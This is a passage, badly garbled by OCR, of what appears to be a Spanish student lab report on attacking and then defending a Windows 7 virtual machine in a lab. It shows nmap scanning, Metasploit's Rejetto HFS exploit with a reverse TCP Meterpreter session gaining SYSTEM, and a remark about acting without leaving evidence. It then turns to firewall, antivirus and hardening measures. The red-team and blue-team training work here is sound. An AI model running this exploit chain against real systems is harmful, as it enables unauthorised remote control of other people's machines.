mpo<im TTL=64

\Users\usuario>ping 192.168.208.113
A " o
e 192.168.28.113: bytes
682 b 2 tie
Res 32 tiempo<im TTL=6:

desde e5-32 tiempo<im TTL-64

Estadisticas ping para 192.168.208.113:
enviados = 4. récibidos = 4. perdidos = 0
didos ).
Tiempos aproximades de ida y vuelta en milisegundos:
nimo ns. Maximo = @ms. Media = @ms

\Users\usuario

& o =i 8] @ @ cTRL DERECHA

11— e =

Nueva Afadir  Configuracién Descartar  Mostrar

ESI Seg. DB =] General (=] Previsualizacion
Nombre: Kali-linux-2024.3-virtualbox-amd6d
Win7-SE2020-X64 Sisterna operativo: Debian (64-bit)
> Corriendo [E sistema
N kall-linux-2024.3-virtualbox-amd64 — Memoria base: 2048 MB. -
“ > Corriend = Procesadores: 2
bt Orden de arranque: Disco duro, Optica
Aceleracién: Paginacién anidada, PAE/NX, Paravirtualizacién KVM A1)
(] pantalla
Memoria de video: 128 MB

Controlador gréfico:
Servidor de escritorio remote:  Inhabilitado
Grabacion: Inhabilitado

B} Aimacenamiento

Controlador: IDE
Dispositivo IDE secundario 0: [Unidad éptica] Vacio
Controlador:

Puerto SATA 0: Kali-linux-2024.3-virtualbox-amd64.vdi (Normal, 80,09 GB)
5 Audio
Controlador de anfitrién: Windows DirectSound
Controlado ICH ACO7
“ Red
Adaptador 1: _Intel PRO/1000 MT Desktop (Adaptador puente, «Realtek RTLE723DE 802.11b/g/n PCle Adapters)
& use

Contrelador USI =

OH
Filtros de dispositivos: 0 (0 active)
[Z] Carpetas compartidas

Ningune

kali us'

Integracién de ratén... o0 &

Autocapturar teclado... & &

Gl & o B @R G 3 CTRL DERECHA
10731/6024
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(58]

Integracién de ratén.

Autocapturar teclado... & &

FileSystem

~

& 5| (B iR Gl B @ CTRL DERECHA

Esp - 26 p. m.
o D & on1/2004

S emmPori|

E kali@kal

File Actions Edit View Help

—
E/ c S-4163<UP, BROADCAST , RUNNING, MULTICAST> mtu 1500
inet 192.168.20.113 netmask 255.255.255.0 broadcast 192.168.20.255
FileSystem fe80::1d55:3dd2:8f5c:32a9 prefixlen 64 scopeid @x20<link>
2800:484:b877:7600:551f:1c@b:4ebl:b32a prefixlen 64 scopeid 0
x0<global>
ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
packets 206 bytes 31058 (30.3 KiB)
errors @ dropped @ overruns @ frame ©
packets 20175 (19.7 KiB)
errors @ dropped @ overruns @ carrier @ collisions @

flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 255.0.0.0

inet6 ::1 prefix scopeid 0x10<host>
loop txqueuelen (Local Loopback)

RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped 0 overruns 0 carrier @

lo:

frame 0

collisions @

01 & £ [E @ 81 3 CTRL DERECHA
&

10:42 p.
10/11/2024

File Actions Edit View Help
ebl:b32a prefixlen 64 scopeid 0

inet6 2800:484:b877:7600:551f:1c0b:4
7 txqueuelen 1000 (Ethernet)

31058 (30.3 KiB)

@ i
_——-,--- 206
dropped 0 overruns 0 frame 0
bytes 20175 (19.7 KiB)
41 [ carrier @ collisions @

FileSystem
r o dropped 0 ove

/ lo: flags-73<UP,LOOPBACK,RUNNING> mtu 65536
P inet 127.0.0.1 netmask 255.0.0.0

1 prefixlen scopeid 0x10<host>

loop txqueuelen 1000 al Loopback)
packets 8 byt
© dropped 0 ov
bytes 480 (480.0 B)
dropped @ overruns 0 carrier @ collisions 0

ome
Rl 480 (480.0 B)
erruns © frame ©

o

at 2024-11-10

//nmap.org
blocking our ping pr.

ly up, but

scanned

((51) 9 ) G2 (#) CTRL DERECHA
1048 p. m.
1071

G e o
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< A @202 a ¢

Screenshot taken

File Actions Edit View Help

3 192.168.20.114
PING 192.168.20.114 (192.168.20.114) 56(84) bytes of data.
~c

192.16 .114 ping tistics —
86 packets transmitted, @ received, 100% packet loss, time 87482ms

Home
time 29 ms

time=0.507 ms

bytes

0N U I E R Y

v kali@kali: ~

File Actions Edit View Help
cnm— = at
A 192,168.20.114
E Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 23:03 EST
/ Nmap scan report for 192.168.20.114
X Host is up (0.00071s latency).
File System Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp  open msrpc Microsoft Windows RPC
139/tcp  open netbios-ssn Microsoft Windows netbios-ssn
# 445/tcp  open microsoft-ds Windows 7 Professional 7601 Service Pack 1 micro
soft-ds (workgroup: WORKGROUP)
554/tcp  open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
| _http-title: Service Unavailable
| _http-server-header: Microsoft-HTTPAPI/2.0
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
| _http-title: Not Found
| _http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows
49153/tcp open msrpc Microsoft Windows
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

W&o B GG M i oeecka

B Ayt UPM e
0 °n 5 4@ 10/11/2024 &

Fuente. Autoria propia
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Se utiliza la terminal de Kali Linux en donde ejecuta el comando nmap -A
192.168.20.114, en donde nos permite visualizar, el sistema operativo, los servicios a través de
los puertos, los cuales puedo listar para poder ver que puertos tengo abiertos de la maquina

objetivo en este caso se evidencia el puerto 80 en donde se ve la vulnerabilidad que estd en el
servicio de la maquina de Windows 7, para poder armar el vector de ataque.

Figura 27

Comando Nmap -A 192.168.20.114

)
BEmPoO|1 23 4|

Kali@kali: ~

File Actions Edit View Help
= Nmap done: 1 IP address (1 host up) scanned seconds

/nmap.org ) at 2024-11-10 23:
114

VERSION
HttpFileServer

open

open 1 micro

ft HTTPAPI httpd (SSDP/UPNP)
ft HTTPAPI httpd 2. /UPnP)

TPAPI/2.
ft HTTPAPI httpd (SSDP/UPNP)

49154/tcp open

o $ A BuT|ace

kali@kali ~

File Actions Edit View Help
49154/tcp open msrpc
49155/tcp open msrpc

cp open msrpc

/tcp open
:microsoft :windows

Host script
2h53m12s, median: Os

1:professional

account _
authentication_L

mode

signing enabled but not

& O B G1G [ cTRLDERECHA

1197 p.m.

10713,
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0

Message signing enabled but not required

|_nbstat: NetBIOS name: PC202006, NetBIOS user: <unknown>, NetBIOS MAC: 08:00
127:92:80:c0 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://n

map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.03 seconds

Fuente. Autoria propia

Se realiza la instalacion de metasploit mediante el comando msfconsole, el cual me
permite realizar la explotacion de la vulnerabilidad de Windows 7.
Figura 28

Instalacion de Metasploit

' ] kali@kali: ~

Trash File Actions Edit View Help
—

B EmPO |23 4] a0 0 A BBO| @ G

—¢ msf console
Command 'msf' not found, did you mean
command 'gsf' from deb libgsf-bin

E/ command 'mf' from deb texlive-binaries
: command 'msb' from deb mysql-sandbox
File System Try: sudo apt install <deb name>

ﬁ/i ~

Metasploit tip: You can use help to view all available commands

neta .4.18-dev

2437 exploits - 1255 auxiliary - 429 post
1468 payloads - 47 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.com/

W&o 8@ G ® cmLoerecka

1119p. m.

10/11/2024 =

Fuente. Autoria propia



Se ejecuta el comando search hfs en donde nos visualiza los mddulos de los exploit que

existen que contengan la palabra hfs, el cual se encuentra el exploit para Windows, el cual se

68

evidencia la empresa Rejetto que desarrollo el software, lo cual para la version me permite hacer

una sesion de comandos de manera remota.
Figura 29

Comando search hfs

S E@EpPoc| 23 4 06 ABB2| 4G

3 kali@kali: ~
File Actions Edit View Help

msf6 > search hfs

Matching Modules

File System

# Name Disclosure Date
ank Check Description

0 exploit/multi/http/git_client_command_exec 2014-12-18
Llent No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1 \_ target: Automatic :

2 \_ target: Windows Powershell

3 exploit/windows/http/rejetto_hf8 rce_cve_2024_23692 2024-05-25

R

t Yes  Rejetto HTTP File Server (HFS) Unauthenticated Remote Code E

xecution
4 exploit/windows/http/rejetto_RfS_exec 2014-09-11
t Yes  Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example
To it 10/ Tatettolpesas

msf6 > |

& E GO creomecHs

ESP

2 4 112p.m
RO @ 10/11/2024 &

Fuente. Autoria propia
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Se ejecuta el comando use 4 me selecciona el exploit donde esta la vulnerabilidad, en donde
ir acompanado de un Payload para realizar la explotacion, el cual en el Payload devuelve una
sesion remota con la conexion de la maquina objetivo a la maquina atacante
Figura 30

Comando Payload para Realizar la Explotacion

@ e o S0 @ crDRECHA

Fuente. Autoria propia

Se ejecuto el comando show options donde lista todas las opciones del exploit y en la parte
inferior se evidencia todas las opciones de Payload
Figura 31

Comando Show Options

File Actions Edit View Help

B 0Fo E @G E TR ORECHA
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Screenshot taken
kali@kali: ~

Trash File Actions Edit View Help

P
URIPATH

VHOST

File System Payload options
Name Current
P EXITFUNC p: y technique

LHOST 1

Home

LPORT

Exploit target:

View the full module info with the , or info -d command.

ploit(

W&o B8} @ @ cTrL DeReCHA

Fuente. Autoria propia

Informe de la Explotacion de Vulnerabilidades en el Escenario Propuesto
Figura 32

Explotacion de Vulnerabilidades

MAQUINA MAQUINA
ATACANTE OBJETIVO
KALI LINUX WINDOWS 7
Host A Fuerto 80
Host B
S Puerto 4444 = -_]
192.198.20.113 192.198.20.114

Fuente. Autoria propia

Se ejecuta set RHOST 192.168.20.114 que es la maquina objetivo remota, por lo que se

evidencia el Ip de la maquina remota



Figura 33

Comando Set RHOST 192.168.20.114

File Actions Edit View Help

msf6 exploit ) > set RHOST 1
msf6 exploit( ) > show options

File System Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description

P HTTPDELAY no Seconds to wait before terminating
web server

Proxies A proxy chain of format type:host:
port[,type:host:portl[ ... ]

RHOSTS 92.168. The target host(s), see https://do
cs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html

RPORT e The target port (TCP)

SRVHOST .0.0. e The local host or network inter:

e to listen on. This must be an
dress on the local machine or 0.0.
0.0 to listen on all addresses.

SRVPORT 8080 The local port to listen on.

SsL false Negotiate SSL/TLS for outgoing con
nections

ssLcert Path to a custom SSL certificate (
default is randomly generated)

TARGETURT The path of the web application

B O o & 9@ @ cRLDERECHA

kali-linux-2024.3-virtualbox-amd64 [Corriendo] - Oracle VirtualBox o o X

Archivo  Maquina Ver Entrada Dispositivos  Ayuda

25 | @ @

' kali@kali: ~

Trash File Actions Edit View Help
‘

Exploit target:

E/ Id Name
File Sy 7
f

o Automatic

ew the full module info with the i , or command.
msf6 exploit( ) > sysinfo

Unknown command: sysinfo. Run the command for more details.
msf6 exploit( ) > exploit

Home

Started reverse TCP handler on 192.168 2113:4444

Using URL: http://192.168.20.113:8080/0mgrQugéo

Server started.

Sending a malicious request to /

Payload request received: /@mgrQugéo

Sending stage (176198 bytes) to 192.168.20.114

Tried to delete ¥TEMP¥\rCuypytg.vbs, unknown result

Meterpreter se: on 1 opened (192.168.20.113:4444 — 192.168.20.114:49182
) at 2024-11-10 23:51:16 -0500

Ser stopped.

meterpreter > |

L& o Bl 3@ ® crLDeRECHA

Fuente. Autoria propia
Se ejecuta el comando sysinfo en donde se visualiza la informacién de la maquina

objetivo y sus caracteristicas



Figura 34

Comando Sysinfo

8-

File System

-1

Home

72

CPU usage: 0.0%

kali@ka
File Actions Edit View Help

View the full module info with the i ) command.

) > sysinfo

) command for more details.
exploit

msf6 exploit(
Unknown command:
msf6 exploit(

sysinfo. Run the

Started reverse TCP handler on 192.168.20.113:4444
Using URL: http://192.168.20.113:8080/0mgrQug6o
Server started.
Sending a malicious request to /
Payload request received: /@mgrQug6o
Sending stage (176198 bytes) to 192.168.20.114
Tried to delete ¥TEMP%\rCuypytg.vbs, unknown result
Meterpreter session 1 opened (192.168.20.113:4444 — 192.16:
) at 2024-11-10 23:51:16 -0500

Server stopped.

[t
.20.114:49182

meterpreter > sysinfo

Computer : PC202006

0s : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture X64

System Language : es_CO

PLLES)] WORKGROUP

Logged On Users : 1

Meterpreter x86/windows

meterpreter > j

@ oS

i A @A [F] cTRI DFRFCHA

O 4% A @ 2353

File Actions Edit View Help
meterpreter > help

Core Commands

Command Description

Help menu

Backgrounds the current session

Alias for background

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background
thread

Displays information or control active channe
1s

Closes a channel

Detach the meterpreter session (for http/http
s)

Disables encoding of unicode strings

Enables encoding of unicode strings
Terminate the meterpreter session

Get the current session timeout values

Get the session GUID

Help menu

Displays information about a Post module
Open an interactive Ruby shell on the current

?
background
bg

bgkill
bglist
bgrun

channel

close
detach

disable_unicode_encoding
enable_unicode_encoding
exit

get_timeouts

guid

help

info

irb

& O |E i )G @ TR dEReCHA
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Trash File Actions Edit View Help

C — Stdapi: File system Commands

B _

File System

Command

cat
cd

checksum
cp
f

del

dir
download
edit
getlwd

Home

getwd
lcat

lcd
ldir
11s
mkdir
lpwd
1s
mkdir
mv

pwd

File Actions Edit View Help

SeSystemProfilePrivilege
SeSystemtimePrivilege

E SeTakeOwnershipPrivilege

/ SeTimeZonePrivilege
SeUndockPrivilege

File System

=

mete
Loadir
meterpreter > getsystem
Already running as SYSTEM
meterpreter > background

eter > load powershell

Home

msf6 exploit(

Active sessions

Id Name Type

1 meterpreter x86/win

dows
msf6 exploit(
rting interaction with

meterpreter | |

Fuente. Autoria propia

extension powershell ..

kgrounding session 1...

kali@kal

Description

Read the contents of a file to the screen
Change directory

Retrieve the checksum of a file
Copy source to destination

Delete the specified file

List files (alias for 1s)

Download a file or directory

Edit a file

Print local working directory (alias for lpwd
Print working directory
Read the contents of a
en

Change local working directory

List local files (alias for lls)

List local files

Create new directory on local machine
Print local working directory

List files

Make directory

Move source to destination

Print working directory

local file to the scre

kali@kali: ~

. Success.

) > sessions

Information Connection

NT AUTHORITY\SYSTEM
@ PC 6

ke

73

(o @F @B iR G @ [#) CTRL DERECHA

& @ E i 81 @ & CTRL DERECHA

Se ejecuta el comando getvid visualiza el nombre del administrador y el comando

getprivs muestra los privilegios, el cual permite ingresar como administrador y poder eliminar la

vulnerabilidad sin dejar evidencias de lo ejecutado.



Figura 35

Comando getvid

B mmP D1 2 3 4|~

File System

f

Home

Kali@kali: ~
File Actions Edit View Help

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs

Enabled Process Privileges

Name
SeBackupPrivilege
SeChangeNotifyPrivilege

Cr GlobalPrivilege

atePagefilePrivilege
SymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePrio
ta

SeProfiles
SeRemoteSh
SeRestor

SeShutdownPrivilege

74

B @ |E i @ @ CTRL DERECHA

Fuente. Autoria propia

Analisis con Acciones Necesarias Para Contener un Ataque en Tiempo Real

Se solicitd a los integrantes de Blue Team realicen un analisis del ataque informatico que

esta presentando en uno de los equipos de computo y red de la organizacion CyberFort

Technologies. Lo primero que se realizaria es un plan de contingencia, que nos permita

identificar, monitorear, detectar, responder, recuperar y proteger los activos de la organizacion y

en donde se analicé la problematica de seguridad informdtica que se estd presentando al interior

de la organizacion para entrar a evaluar y validar el grado de riesgo del incidente a identificar y

los dafios que estd ocasionando, con el fin de contener su propagacion a los demas los sistemas

informaticos, mediante herramientas que permitan la mitigacion del ataque informatico, logrando

salvaguardar la integridad, confidencialidad y disponibilidad de la organizacion.
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Una vez aplicado el plan de contingencia en donde se realiz6 un analisis exhaustivo a los
activos de la organizacion, se logré identificar el equipo de computo es donde se presentd el
incidente, el cual tiene instalado el sistema operativo Windows 7, al ingresar a Firewall de
Windows se evidencia que se encuentra desactivado, esto quiere decir que esta sin proteccion el
equipo, el cual le permiti6 al atacante ingresar fcilmente a realizar el ataque informatico en
tiempo real. Por lo que se evidencia en la siguiente imagen:

Figura 36

Firewall de Windows se Evidencia que se Encuentra Desactivado

o vsarpm
WO ) aai/00

@ o (E) il DG @) CTRL DERECHA

[E=S R =<
@Q—H‘V <« Todos los elementos de Panel de control » Centro de actividades ~ [ 7 | [ Buscaren =i Panel de controt o |
N TR D —
Ventana principal del Panel de El Centro de actividades detects algunos problemas que debe revisar.
control
Cambiar configuracién del Seguridad o~
Centro de actividades

Proteccién contra spyware y software no deseado (Importante)
o

Camb Figuracien de
Control de cuentas de usuaric [ Actualizar ahora |

) no esta actualizade,
Ver mensajes archivados
Ver informacicn de
rendimiento

bre proteccitn contra spyware y  Obtener ofro programa anti spyware
en linea

| Buscar un programa en linea |

| Cambiar configuracisn... |

= |

Desactivar mensajes sobre firewall de red Obtener otro programa de firewall en
linea
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BN Administrador: C\Windows\system32\cmd.exe =0 R @
Copyright {c) 2089 Microsoft Corporation. Reservados todos los derechos.

C:slUserssusuarioXipconfig

Configuracion IP de Windows

fidaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. .
Direccidn IPvé
Direccidn IPvé
Direccion IPv6 temporal
Uinculo: direccidn IPv6 local. . .
Direccidn IPv4
] Mascara de subred
Puerta de enlace predeterminada
192.168.28.1

Adaptador de tinel isatap.{SBESBED2-9B@4-4799-BEB3-D289D73C2460):

Estado de los me@ius . : medios desconectados
Sufijo DNS especifico para la conexion. .

Cosllserssusuario?

Fuente. Autoria propia

Informe de Acciones de Hardenizacion a Implementar Para Evitar que Sucedan Ataques de
Seguridad Informatica

Se evidenciaron falencias encontradas en la seguridad de la informacion, se recomienda a
la organizacion CyberFort tomar acciones de hardenizacion de manera inmediata, lo cual permite
el endurecimiento a la seguridad informatica dentro de la organizacion, con el proposito de
reducir al maximo las vulnerabilidades que el atacante realice, se recomienda incluir dentro de
sus politicas de seguridad y privacidad de la informacion los siguiente informacion y que sea
socializada al personal de la organizacion, de no consultar ni descargar archivos de paginas web
no oficiales, tener contrasefias robustas, tener activado el programa de antivirus en los equipos de

coémputo, no abrir archivos desconocidos, tener cuidado con los correos electronicos: (Smartekh,

2012)
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Acciones de Hardenizacion
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Actividades

Descripcion

Configuraciones necesarias
para protegerse de posibles
ataques fisicos o de hardware

de los equipos.

Instalacion segura del sistema

operativo.

Activacion y/o configuracion
adecuada de servicios de

actualizaciones automaticas

Instalacion, configuracion y
mantencion de programas de
seguridad

Configuracion de la politica

local del sistema,

Entre otras tareas, sobresalen la actualizacidon de firmware, la
configuracion de contrasefias complejas para el arranque del equipo y
la configuracion de la BIOS, la desactivacion del inicio de sistema
para cualquier unidad distinta al disco duro principal, y en situaciones
de servidores, la desactivacion de dispositivos opticos, USB o
equivalentes, para prevenir la infiltracion de malware desde un
dispositivo de almacenamiento externo.

Esto conlleva, entre otros aspectos, la consideracion de al menos dos
particiones principales (1 para el sistema operativo en si mismoy otra
para carpetas y archivos de relevancia), la utilizacion de un sistema
de archivos con caracteristicas de seguridad, y la idea de instalacion
minima, es decir, eludiendo la instalacion de cualquier elemento de
sistema que no sea imprescindible para el correcto funcionamiento
del sistema.

Para garantizar que el equipo cuente con todos los actualizados de
seguridad que proporciona el proveedor. Si se ubica dentro de una
entidad, es apropiado instalar un servidor de actualizaciones, el cual
debe evaluar en un ambiente de laboratorio el efecto de la
implementacion de actualizaciones antes de suimplementacion en la
produccion.

Tales como, Antispyware, Antivirus, y un filtro Antispam segun las

necesidades del sistema.

Tomando en cuenta diversos aspectos importantes: Politica de
contrasefias solida, con claves validas, almacenamiento de datos
historicos (para evitar el uso de contrasefias ciclicas), bloqueos de
cuentas por intentos incorrectos y requerimientos de complejidad de
contrasefias. El renombre y la desactivacion subsiguiente de las
cuentas estandar del sistema, como la de administrador e invitado.

Correcta asignacion de derechos de usuario, con el objetivo de
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Actividades

Descripcion

Configuracion de opciones de

seguridad generales,

Restricciones de software

Activacion de auditorias de
sistema
Configuracion de servicios de

sistema

Configuracion de los

protocolos de Red.

Configuracion adecuada de
permisos de seguridad en
archivos y carpetas del

sistema.

Configuracion de opciones de
seguridad de los distintos
programas.

Configuracion de acceso

remoto.

disminuir las oportunidades de incremento de privilegios, y siempre
procurando reducir al minimo los privilegios y/o derechos de los
usuarios en activo.

Tales como las vinculadas a rutas de acceso compartido,
desactivacion del sistema, inicio y finalizacion de sesion y
alternativas de seguridad en la red.

Fundamentado, en la medida de lo posible, en la utilizacion de listas
blancas de software permitido en lugar de listas negras de este.
Esenciales para llevar un seguimiento de ciertos intentos de ataque
distintivos, como la interpretacion de contrasefias.

En este momento, es imprescindible procurar siempre desactivar
todos los servicios que no proporcionen la funcionalidad requerida
para el correcto funcionamiento del sistema. Por ejemplo, si su
dispositivo no cuenta con tarjetas de red inalambrica, deberia estar
desactivado el servicio de redes inaldmbricas.

Es aconsejable, a la mayor capacidad, emplear sistemas de traduccion
de direcciones (NAT) para orientar los equipos internos de una
entidad. Habilitar todos los protocolos de red superfluos en el sistema
y restringir su utilizacion al minimo. TCP/IP es un protocolo que no
se desarrollo con el objetivo de proteger, por lo que es esencial
restringir su utilizacion al indispensable.

Conforme sea viable, eliminar de manera explicita cualquier
autorizacion de archivo a las cuentas de acceso an6nimos o sin
contrasefia. Es crucial establecer adecuadamente los permisos a nivel
de carpetas y archivos para prevenir el acceso indebido al contenido
de estos.

Tales como clientes de email, exploradores web y en general

cualquier tipo de software que interactie con la red.

Sino es imprescindible, seria conveniente desactivar el acceso
remoto. No obstante, cuando se requiere un control remoto de la
maquina, es esencial configurarlo correctamente, limitando el acceso

a un niumero muy reducido de usuarios, limitando al minimo las
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Actividades

Descripcion

Configuracion adecuada de

cuentas de usuario,

Cifrado de archivos o unidades
segun las necesidades del

sistema,

Realizar y programar un
sistema de respaldos frecuente
a los archivos y al estado de

sistema.

conexiones simultaneas, teniendo precaucion en la desconexion y
cierre de sesion, y estableciendo un canal de comunicaciones cifrado
para estos fines, como SSH.

Intentando emplear la mayoria del tiempo en cuentas de acceso
restringido y desactivando las cuentas de administrador. Se aconseja
de manera absoluta utilizar la impersonificacion de usuarios para
llevar a cabo tareas administrativas en lugar de entrar como
administradores.

Tomando en cuenta un almacenaje externo para las claves de
descodificacion. Ademas, se debe considerar la posibilidad de
emplear sistemas de cifrado para mensajeria instantdnea y correo
electronico.

Como sea posible, gestionar los respaldos a través de la red o
trasladar los respaldos a unidades fisicas que se encuentren lejos del

equipo que los produce.

Fuente. Autoria propia

Se procedi6 a la activacion de Firewall, con el fin de bloquear el acceso a terceros

Figura 37

Activacion de Firewall

E=SE=n =

@vo\ﬁ « Firewall de Windows » Personalizar configuracién

Puede modificar la configuracién del firewall para

:Qué son las ubicaciones de red?

@) Activar Firewall de Windows

&

>
Configuracién de ubicacién de red publica

2

@ Activar Firewall de Windows

@.

Personalizar la configuracién de cada tipo de red

Cenfiguracién de ubicacién de red doméstica o del trabajo (privada)

Blogquear todas las conexiones entrantes, incluidas las de |2 lista de programas permitidos
¥ Natificarme cuando Firewall de Windows bloguee un nueve programa

Desactivar Firewall de Windows (ne recomendado)

Bloquear todas las conexiones entrantes, incluidas las de |a lista de programas permitidos

¥ Natificarme cuando Firewall de Windows blequee un nueve programa

Desactivar Firewall de Windows (no recomendade)

A

- [ 45 ||| Buscar en el Panei de contral

cada tipe de ubicacién de red que use.

Aceptar Cancelar




K59 &5 ~[# « Todos los clementos de Pancl de control » Firewall de Windows -4 ][ &

Ventana principal del Panel de . - - ﬁ
e Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o seftware malintencionade obtengan accese al equipe a

Permitir un programa o una :
(e través de Internet o de una red.

caracteristica a través de

Firewall de Windows. :Céme me ayuda un firewall @ proteger mi equipo?
B Cambiar la configuracién de (Qué son las ubicaciones de red?
notificaciones . o X 3 -
R . @7 Redes domésticas o de trabajo (privadas) No conectado ()
‘Windows , -
& Restaurar valores . & Redes puablicas Conectado ()

predeterminados o B
_ Redes en lugares piiblicos come acropuertos o cafeterias
% Configuracién avanzada

Solucién de problemas de red Estado de Firewall de Windows: Activado
Conexiones entrantes: Bloquear todas las conexiones a los programas que
no estén en la lista de programas permitidos
Redes publicas activas: = Red 2
Estado de notificacién: Motificarme cuando Firewall de Windows bloguee un

nueve pregrama

Vea también
Centro de actividades

Centro de redes y recursos
compartidos.

Fuente. Autoria propia
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Se procedio a la descarga de Avast Free Antivirus y a su respectiva instalacion, con el fin

mitigar el ataque informatico y de robustecer los sistemas de informacion que estan afectando a

la organizacion.
Figura 38

Descarga de Avast Free Antivirus

O & nhitps w.google.com/searchiclient=firefox-b-déig=instalacion+de+avast +free+antivirus +gratis
instalacion de avast free antivirus gratis x & Q
Todo Videos Imagenes Shopping Noficias Web  Libros i Mas Herramientas

Patrocinado
Avast Software
https fwww avast.com 3

Avast Free Antivirus 2024 - Descarga 100% Gratis y Facil

Equipado con la mayor red de dereccion de amenazas, un antivirus gue no retardara su PC
Facil, ultraligero y facil de usar. Escanee su PC con un solo clic. Descarga Gratis. Anti-
spyware. Limpieza del Navegador.

Avast Antivirus Gratis
Seguro. gratis y facil de usar. Ultima version 2017 aqui.

Avast™ Cleanup
Limpieza de PC facil Obtenga mas espacio en el disco

Avast™ Premium
Nuestra mayor proteccion para la seguridad de su PC y sus datos

@

=
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< c @ O & htips avast.com/es-co/Ip-ppc-free-ar

Abriendo instalacién_en_linea_de_avast free_antivirus.exe

Ha elegido abrir

=1 instalacién_en_linea_de_avast_free_antivirus.exe

que es: Binary File (243 KB)
de: https://bits.avedn.net

(Desea guardar este archivo?

2 8@

n_sem_cid=hho_sem_sy:~es-co_ava_ *»» ©@ ¥ Integracién deratén... & &

Autocapturar teclado... ™ &

e e

Complete la instalacién haciendo clic en el archivo descargado y
siguiendo las instrucciones.

Nota: si su descarga no se inicia automéaticamente, por favor, haga clic aqui.

@ 0@p & 8l®® crderecHA

E=nr=]
S(_Jw[ » usuasrio » Descargas ~ T &
Organizar = [ Abrie Compartit con = Nueva carpeta B [
¢ Favoritos Dlaenbes : Fecha de modifica..  Tipa
@ Descargas instalacién_en_linea_de_avast_free_antivi.. 25/11/2024 11:05 Aplicacié

B Escriterio

Sitios recientes

il Bibliotecas
¥ Documentos
) Imagenes
oY Musica

B videos
& Grupo en el hogar

= Equipo

& Disco local (€9)

€ Red

cién_en_linea_de_avast free_antivirus Fecha de

243 KB

25/11/2024 1105 p.m.  Fecha de creacién: 25/11/2024 11:04 p.m,

ejecutar este software?

Tipo: Aplicacian

archiva

Advertencia de seguridad de Abrir archiveo

(eS|

Mo == pudo compmobar el editor. § Esta seguo de gue desea

|F l| Mombre: ...instalacion_en_linea_de_awvast_free_antivirus.exe
Editor: Editor desconocido

De: ChUserstwusuariosDownloadsiinstalacian_en_lin...

Ejecwytar |[ Cancelar ]

Pregurtar siempre antes de abrr este

T, | Este archivo no tiene ninguna fimma digital valida que compruebe su
@ editor. Sdlo ejecLte software de los editores en los que confia.
- FCémo puedo decidir gué software debo ejecutar?
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& Instalacion de Awvast Free Antivirus Espafiol

Avast Free Antivirus
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Acuerdo de licencia de usuario final vy Politica de privacidad

INSTALAR

Personalizar
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Avast Free Antivirus...

Mo apague el equipo

M Avast Free Antivirus

Aplicaciones obsoletas Virus y malware Problemas avanzoados
Se ha encontrado
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Nombre de la aplicacién Version
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Virus y malware

No se ha encontrado

iMuy bient

SIGUIENTE

Fuente. Autoria propia

Analisis Sobre las Diferencias Entre el Equipo de Blue Team y el Equipo de Respuesta a

Incidentes Informaticos

El siguiente cuadro nos permite ver las diferencias entre el equipo de Blue Team y el

equipo de respuesta a incidentes informaticos

Tabla 6

Cuadro Comparativo Equipo de Blue Team y Equipo de Respuesta a Incidentes Informaticos

Equipo de Blue Team

Equipo de respuesta a incidentes informaticos

Se encargan recolectar informacion para
registrar todo lo que necesita ser protegido,
y realiza una evaluacion de riesgos.

Se encarga de fortalecer el acceso al sistema
de diferentes maneras, por ejemplo,
implementando politicas de seguridad mas
rigurosas y desempefiando un papel
educativo con los empleados de la
organizacion para que comprendan y se
adapten a los procedimientos de seguridad

de la misma.

Se encarganrecibir y dar respuesta a los incidentes de
los sistemas informaticos que reporta una organizacion,
empresa o entidad.

Se encargan de recopilar informacion de los incidentes
de los sistemas, con el fin de identificar, analizar y

mitigar los incidentes.
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Equipo de Blue Team Equipo de respuesta a incidentes informaticos

Se encarga de documentar la informacion Se encargan de vigilar constantemente las
relacionada con el acceso a los sistemas y  vulnerabilidades a las que la organizacion puede verse
verificar si hay algun tipo de actividad expuesta.

atipica.

Se encarga de realizar revisiones regulares Se encarga de proporcionar instrucciones sobre como
del sistema, tales como auditorias del minimizar una amenaza, e incluso proporcionar
sistema de nombres de dominio (DNS), de directrices para la configuracion de las herramientas
la vulnerabilidad de la red interna o extema, destinadas al servicio de la organizacion.

entre otros.

Se encargan de llevar a cabo evaluaciones Se encargan de administrar las diversas vulnerabilidades
de riesgo paradetectarlas amenazas a cada que surgen en la compaiiia.

activo y las vulnerabilidades que pueden

aprovechar. Asi, el equipo tiene la

oportunidad de elaborar un plan de accion

anticipado

Fuente. Autoria propia

Analisis Sobre la Pertinencia de Trabajar con CIS “Center For Internet Security” Como
Propuesta de Aseguramiento por Parte de un Equipo de Blue Team

Teniendo en cuenta la labor que realiza el Centro de Seguridad de Internet -CIS su
conformacion de comunidad de profesionales de ciberseguridad que inicié en el afio 2000, cuyo
objetivo es dar recomendaciones de forma segura a los sistemas de informacion, redes, software,
entre otros, con respecto a la identificacion, desarrollo, validacion, promocion, la autenticacion
